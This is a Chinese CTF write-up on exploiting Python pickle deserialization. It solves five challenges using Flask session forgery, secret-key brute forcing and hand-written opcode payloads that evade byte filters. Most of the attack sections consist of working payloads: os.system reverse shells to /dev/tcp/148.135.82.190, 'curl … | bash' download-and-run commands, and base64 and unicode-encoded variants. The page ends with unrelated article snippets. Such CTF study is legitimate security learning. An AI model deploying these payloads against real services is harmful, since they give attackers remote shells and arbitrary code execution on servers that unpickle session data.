CTF题型 Python中pickle反序列化进阶利用例题opache绕过

CTF题型 pickle反序列化进阶&例题&opache绕过

文章目录

  • CTF题型 pickle反序列化进阶&例题&opache绕过
  • 一.基础的pickle反序列化
    • 例题
      • 1.[HFCTF 2021 Final]easyflask
      • 2.[0xgame 2023 Notebook]
      • 3.[[HZNUCTF 2023 preliminary\]pickle](https://www.nssctf.cn/problem/3611)
  • 二.基于opcode绕过字节码过滤
    • 如何编写
    • 例题
      • 4.[[MTCTF 2022\]easypickle](https://www.nssctf.cn/problem/3464)
      • 5.[2021极客巅峰 opcode]

一.基础的pickle反序列化

pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE

关键代码

pickle.dumps(obj[, protocol])

功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

漏洞有关的魔术方法
__reduce__

构造方法,在反序列化的时候自动执行,类似于php中的_wake_up

__setstate__

在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

常用payload(没有os模块)

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

环境有os模块

import pickle
import os
import base64class aaa():def __reduce__(self):return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))a= aaa()payload=pickle.dumps(a)payload=base64.b64encode(payload)
print(payload)#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错

所以最好所有poc在linux上生成

例题

1.[HFCTF 2021 Final]easyflask

https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask

非预期(任意文件读取)

image-20240325085226157

直接读环境变量/proc/1/environ

image-20240325085331374

预期解

app源码


#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, request, render_template, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET',))
def index_handler():if not session.get('u'):u = pickle.dumps(User())session['u'] = ureturn "/file?file=index.js"@app.route('/file', methods=('GET',))
def file_handler():path = request.args.get('file')path = os.path.join('static', path)if not os.path.exists(path) or os.path.isdir(path) \or '.py' in path or '.sh' in path or '..' in path or "flag" in path:return 'disallowed'with open(path, 'r') as fp:content = fp.read()return content@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):u = b64decode(u.get('b'))u = pickle.loads(u)except Exception:return 'uhh?'if u.is_admin == 1:return 'welcome, admin'else:return 'who are you?'if __name__ == '__main__':app.run('0.0.0.0', port=80, debug=False)

直接读环境变量/proc/1/environ

发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

可以直接伪造secret_key

image-20240325092958651

漏洞代码

@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):u = b64decode(u.get('b'))u = pickle.loads(u)except Exception:return 'uhh?'

伪造session实现 读取 u 中的 b值

对b中的值进行反序列化,可以直接触发RCE

>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

在linux系统下运行

import os
import pickle
import base64
User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,'__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())

生成后伪造

image-20240325093400538

用hackerbar发cookie触发

image-20240325093456429

可以反弹shell

2.[0xgame 2023 Notebook]

当时环境是给了源码

from flask import Flask, request, render_template, session
import pickle
import uuid
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()class Note(object):def __init__(self, name, content):self._name = nameself._content = content@propertydef name(self):return self._name@propertydef content(self):return self._content@app.route('/')
def index():return render_template('index.html')@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):notes = session.get('notes')if not notes:return render_template('note.html', msg='You have no notes')note_raw = notes.get(note_id)if not note_raw:return render_template('note.html', msg='This note does not exist')note = pickle.loads(note_raw)return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)@app.route('/add_note', methods=['POST'])
def add_note():note_name = request.form.get('note_name')note_content = request.form.get('note_content')if note_name == '' or note_content == '':return render_template('index.html', status='add_failed', msg='note name or content is empty')note_id = str(uuid.uuid4())note = Note(note_name, note_content)if not session.get('notes'):session['notes'] = {}notes = session['notes']notes[note_id] = pickle.dumps(note)session['notes'] = notesreturn render_template('index.html', status='add_success', note_id=note_id)@app.route('/delete_note', methods=['POST'])
def delete_note():note_id = request.form.get('note_id')if not note_id:return render_template('index.html')notes = session.get('notes')if not notes:return render_template('index.html', status='delete_failed', msg='You have no notes')if not notes.get(note_id):return render_template('index.html', status='delete_failed', msg='This note does not exist')del notes[note_id]session['notes'] = notesreturn render_template('index.html', status='delete_success')if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=False)

题目分析:

app.config['SECRET_KEY'] = os.urandom(2).hex()

secret_key是弱密钥可以爆破 进行伪造

@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):notes = session.get('notes')if not notes:return render_template('note.html', msg='You have no notes')note_raw = notes.get(note_id)if not note_raw:return render_template('note.html', msg='This note does not exist')note = pickle.loads(note_raw)return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

session伪造的结构{‘notes’:{‘note_id’:‘payload’}}

/<path:note_id> 路由下

pickle.loads 触发反序列化

题目环境有os可以用os.system执行任意命令

具体操作

生成爆破密钥

import os
while True:secret_key=os.urandom(2).hex()with open("Desktop/secret_key.txt","a") as f:f.write(secret_key+'\n')

解析session

C:\Users\Administrator>flask-unsign --decode --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0"
C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests\__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
{'notes': {'769b57ff-3d73-433a-811e-2bca92371c39': b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}

爆破 secret_key

flask-unsign --unsign --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" -w "C:\Users\Administrator\Desktop\secret_key.txt"  --no-literal-eval

image-20240325113320643

拿到 f991

linux下运行 题目环境有os模块

import pickle
import os
import base64class aaa():def __reduce__(self):return(os.system,('curl ip/1 |bash',))a= aaa()payload=pickle.dumps(a)
print(payload)

image-20240325113542122

利用 curl 反弹shell(适用于bash/zsh) 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'

要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}

flask-unsign --sign --cookie "{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}" --secret "f991"

image-20240325122756770

image-20240325122818244

可以弹回shell

image-20240325122844869

3.[HZNUCTF 2023 preliminary]pickle


import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')

非预期

/readFile?filename=/proc/1/environ

flag在环境变量里

预期 关键代码

@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"

将os替换为空

用没有os的payload

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('o'+'s').popen('curl 148.135.82.190/2 | bash').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

直接反弹shell

image-20240325134423813

image-20240325134508301

二.基于opcode绕过字节码过滤

对于一些题会对传入的数据进行过滤

例如

1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

这个时候考虑用用到opcode
Python中的pickle更像一门编程语言,一种基于栈的虚拟机

什么是opcode

Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。
在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。

每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
opcode,以支持各种操作和语言特性。

INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

如何编写

原理建议直接参考https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11

没有比这篇先知文章写的更好的

辅助生成工具pker:https://github.com/eddieivan01/pker

一般用于绕过 find_class 黑名单/白名单限制

pker用法

GLOBAL
对应opcode:b’c’
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL(‘os’, ‘system’)
输入:module,instance(callable、module都是instance)

INST
对应opcode:b’i’
建立并入栈一个对象(可以执行一个函数):
INST(‘os’, ‘system’, ‘ls’)
输入:module,callable,para

OBJ
对应opcode:b’o’
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)
输入:callable,para

xxx(xx,…)
对应opcode:b’R’
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic[‘local_var’]=‘hello’
对应opcode:b’s’
更新列表或字典的某项的值

xx.attr=123
对应opcode:b’b’
对xx对象进行属性设置

return
对应opcode:b’0’
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

对于做题而言会opache改写就行了

INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

RCE demo:R:
b'''cos\nsystem\n(S'whoami'\ntR.'''i
b'''(S'whoami'\nios\nsystem\n.'''o
b'''(cos\nsystem\nS'whoami'\no.'''无R,i,o os可过
b'''(cos\nsystem\nS'calc'\nos.'''无R,i,o os 可过  + 关键词过滤
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
V操作码是可以识别\u (unicode编码绕过)
特别是命令有特殊功能字符

易错点 \n是换行如果用赛博厨子 会将 \n 当作字符处理,易出错

用python处理

import base64
opcode=b''''''
print(base64.b64encode(opcode))

例题

4.[MTCTF 2022]easypickle

当时题目环境给了源码的

import base64
import pickle
from flask import Flask, session
import os
import randomapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()@app.route('/')
def hello_world():if not session.get('user'):session['user'] = ''.join(random.choices("admin", k=5))return 'Hello {}!'.format(session['user'])@app.route('/admin')
def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

decode一下session

image-20240325193053142

os.urandom(2).hex() 爆破session

image-20240326084806581

爆破密钥为 dabe

构造类似的payload{'user':'admin','ser_data':'payload'}

漏洞代码

@app.route('/admin')
def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"

存在逻辑问题

替换后的 a 进行检查 R i o b 但是实际反序列化是ser_data

因此os中o可以存在,但是单独的o是被禁止的,因为os被替换成Os,但对后续ser_data不影响

bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'环境只有sh

将前面总结的payload改写一下

b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''

KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu

伪造session数据:

{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}

易错 flask-unsign --sign --cookie ""里面就不要用""包裹了 重要!!!会产生歧义

image-20240326085329272

可以成功反弹shell

5.[2021极客巅峰 opcode]

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtinsclass RestrictedUnpickler(pickle.Unpickler):blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}def find_class(self, module, name):if module == "builtins" and name not in self.blacklist:return getattr(builtins, name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def loads(data):return RestrictedUnpickler(io.BytesIO(data)).load()app = Flask(__name__)app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"@app.route('/admin', methods = ["POST","GET"])
def admin():if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):return "not admin"try:data = base64.b64decode(session['data'])if "R" in data.decode():return "nonono"pickle.loads(data)except Exception as e:print(e)return "success"@app.route('/login', methods = ["GET","POST"])
def login():username = request.form.get('username')password = request.form.get('password')imagePath = request.form.get('imagePath')session['username'] = username + passwordsession['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))try:f = open(imagePath,'rb').read()except Exception as e:f = open('static/image/error.png','rb').read()imageBase64 = base64.b64encode(f)return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))@app.route('/', methods = ["GET","POST"])
def index():return render_template("index.html")
if __name__ == '__main__':app.run(host='0.0.0.0', port='8888')

注册后解码session

image-20240326091152230

已知secret_key:y0u-wi11_neuer_kn0vv-!@#se%32可以进行伪造

关键过滤:

if "R" in data.decode():return "nonono"

从其他方向回调函数即可 例如从i方向

b'''(S'bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1''\nios\nsystem\n.'''

base64编码后 KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou

伪造session {'data': b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou', 'username': 'admin'}

image-20240326091942730

image-20240326091927190

可以成功反弹shell
以后有时间手写一遍分析pvm的原理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/771135.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大数据系列 | 使用Nginx作为数据采集接收端

大数据系列 | 使用Nginx作为数据采集接收端 1. 编译安装Nginx2. 通过程序对Nginx上传日志 1. 编译安装Nginx Nginx依赖包安装&#xff1a; rootnginx:~# apt install -y vim lua-devel gcc gcc-c autoconf automake zlib zlib-devel openssl openssl-devel gcc zlib1g-dev lib…

蓝桥杯java---螺旋矩阵

解题思路&#xff1a; int [][] arr new int[n][m];int i 0, j -1, temp 1;while (n * m > 0){for (int p 0; p < m; p)//从左自右arr[i][jj1] temp;n--;if (n * m 0) break;for (int p 0; p < n; p)//从上自下arr[ii1][j] temp;m--;if (n * m 0) break;fo…

分享一个免费查海关(HS)编码的工具

用过海关数据的朋友就会发现&#xff0c;因为现在大部分的海关数据都是国外的进口数据&#xff0c;所以如果要用海关编码去查相关产品的海关交易记录的话&#xff0c;最好的方法就是用当地的海关编码去搜。 各个国家的海关编码是不一样的&#xff0c;比如美国的一般是6-8位&am…

构造函数与析构函数

构造函数 每次创建类的新对象时执行构造函数的名称与类名相同&#xff0c;不带类型&#xff0c;可以有参数也可以没参数构造函数有时给成员函数付初值 析构函数 每次删除所创建的对象时执行析构函数与构造函数类似&#xff0c;前面多个~不带任何参数&#xff0c; #include …

【笔试】美团2024年春招第二场笔试(技术)

【笔试】美团2024年春招第二场笔试&#xff08;技术&#xff09; 文章目录 T1 模拟T2 模拟T3 模拟&#xff0c;快速幂/打表T4 众数、前缀和、树状数组T5 逆序对&#xff0c;树状数组 T1 模拟 题目&#xff1a;数组求和&#xff0c;判断是否要减一个数 思路&#xff1a;模拟即可…

FPGA时钟资源详解(3)——全局时钟资源

FPGA时钟系列文章总览&#xff1a;FPGA原理与结构&#xff08;14&#xff09;——时钟资源https://ztzhang.blog.csdn.net/article/details/132307564 一、概述 全局时钟是 FPGA 中的一种专用互连网络&#xff0c;旨在将时钟信号分配到 FPGA 内各种资源的时钟输入处。这种设计…

如何查看ubuntu服务器上防火墙信息

1、检查防火墙状态&#xff1a; Ubuntu 18.04及更高版本使用的是ufw&#xff08;Uncomplicated Firewall&#xff09;。您可以使用以下命令检查ufw是否已安装并处于运行状态&#xff1a; sudo ufw status如果ufw已安装并正在运行&#xff0c;则会显示防火墙的状态&#xff08…

使用Shell脚本进行MySql权限修改

背景&#xff1a;原先数据配置文件中有bind-address127.0.0.1&#xff0c;注释掉此配置后&#xff0c;原数据库中默认带%root的权限&#xff0c;现在需要通过脚本实现白名单列表中的ip添加权限允许访问数据库&#xff0c;白名单之外的ip没有权限访问数据库。 以下是过程中记录的…

免费redis可视化工具windows/mac都可以使用,开源免费

官方地址&#xff1a;RedisInsight | The Best Redis GUI github开源地址&#xff1a;GitHub - RedisInsight/RedisDesktopManager Redis Desktop Manager – Redis可视化管理工具、redis图形化管理工具、redis可视化客户端、redis集群管理工具。 官方下载方式 滚动到页面底…

FPGA时钟资源详解(4)——区域时钟资源

FPGA时钟系列文章总览&#xff1a;FPGA原理与结构&#xff08;14&#xff09;——时钟资源https://ztzhang.blog.csdn.net/article/details/132307564 目录 一、概述 二、Clock-Capable I/O 三、I/O 时钟缓冲器 —— BUFIO 3.1 I/O 时钟缓冲器 3.2 BUFIO原语 四、区域时钟…

mybatisplus和mybatis兼容问题

Invalid bound statement (not found) 错误 原xml配置 <bean id"sqlSessionFactory" class"org.mybatis.spring.SqlSessionFactoryBean"><property name"mapperLocations" value"classpath:/META-INF/mapper/*.xml"/>&l…

Vue3——如何实现页面访问拦截

引言 在现代的Web开发中&#xff0c;页面访问拦截是一个非常常见的需求。通过拦截页面访问&#xff0c;我们可以控制用户在访问特定页面之前需要满足的条件&#xff0c;比如登录状态、权限等。Vue是一个非常流行的JavaScript框架&#xff0c;它提供了许多强大的工具和功能&…

ruoyi-nbcio-plus基于vue3的flowable多实例审批单元的升级修改

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://122.227.135.243:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a…

High 级别反射型 XSS 攻击演示(附链接)

环境准备 如何搭建 DVWA 靶场保姆级教程&#xff08;附链接&#xff09;https://eclecticism.blog.csdn.net/article/details/135834194?spm1001.2014.3001.5502 测试 打开靶场找到该漏洞页面 先右键检查输入框属性 还是和之前一样的&#xff0c;所以直接输入 HTML 标签提交…

Vue 发送Ajax请求多种方式

1. 发送ajax请求的方式 方案一&#xff1a;jq 的ajax&#xff08;在 vue 中不推荐同时使用&#xff09;方案二&#xff1a;js 原始官方 fetch方法方案三&#xff1a;axios 第三方 2. 方案一 后端视图函数 from rest_framework.viewsets import ViewSet from rest_framework…

Rust 实战练习 - 7. FFI, 库, ABI, libc

FFI FFI&#xff08;Foreign Function Interface&#xff09;是这样一种机制&#xff1a;用一种编程语言写的程序能调用另一种编程语言写的函数&#xff08;routines&#xff09;。 调用约定&#xff0c;类型表示和名称修饰这三者的统称&#xff0c;即是众所周知的应用二进制…

云数据库认识

云数据库概述 说明云数据库厂商概述Amazon 云数据库产品Google 的云数据库产品Microsoft 的云数据库产品 云数据库系统架构UMP 系统概述UMP 系统架构MnesiaRabbitMQZooKeeperLVSController 服务器Proxy 服务器Agent 服务器日志分析服务器 UMP 系统功能容灾 读写分离分库分表资源…

刚删除的文件怎么找回?刚删除的文件重新找回方法

电脑是我们办公、生活和娱乐必不可缺少的设备,里面存储着我们很多重要的文件。但是,有时候我们不小心误删了文件,或者是不小心删除了一些重要的数据等,要怎么进行恢复呢?今天,小编就专门给大家讲下刚删除的文件重新找回方法。 方法一: 文件不小心删除了,请立即停止对硬…

【洛谷 P8680】[蓝桥杯 2019 省 B] 特别数的和 题解(暴力枚举+数学)

[蓝桥杯 2019 省 B] 特别数的和 题目描述 小明对数位中含有 2 2 2、 0 0 0、 1 1 1、 9 9 9 的数字很感兴趣&#xff08;不包括前导 0 0 0&#xff09;&#xff0c;在 1 1 1 到 40 40 40 中这样的数包括 1 1 1、 2 2 2、 9 9 9、 10 10 10 至 32 32 32、 39 39 39 和 …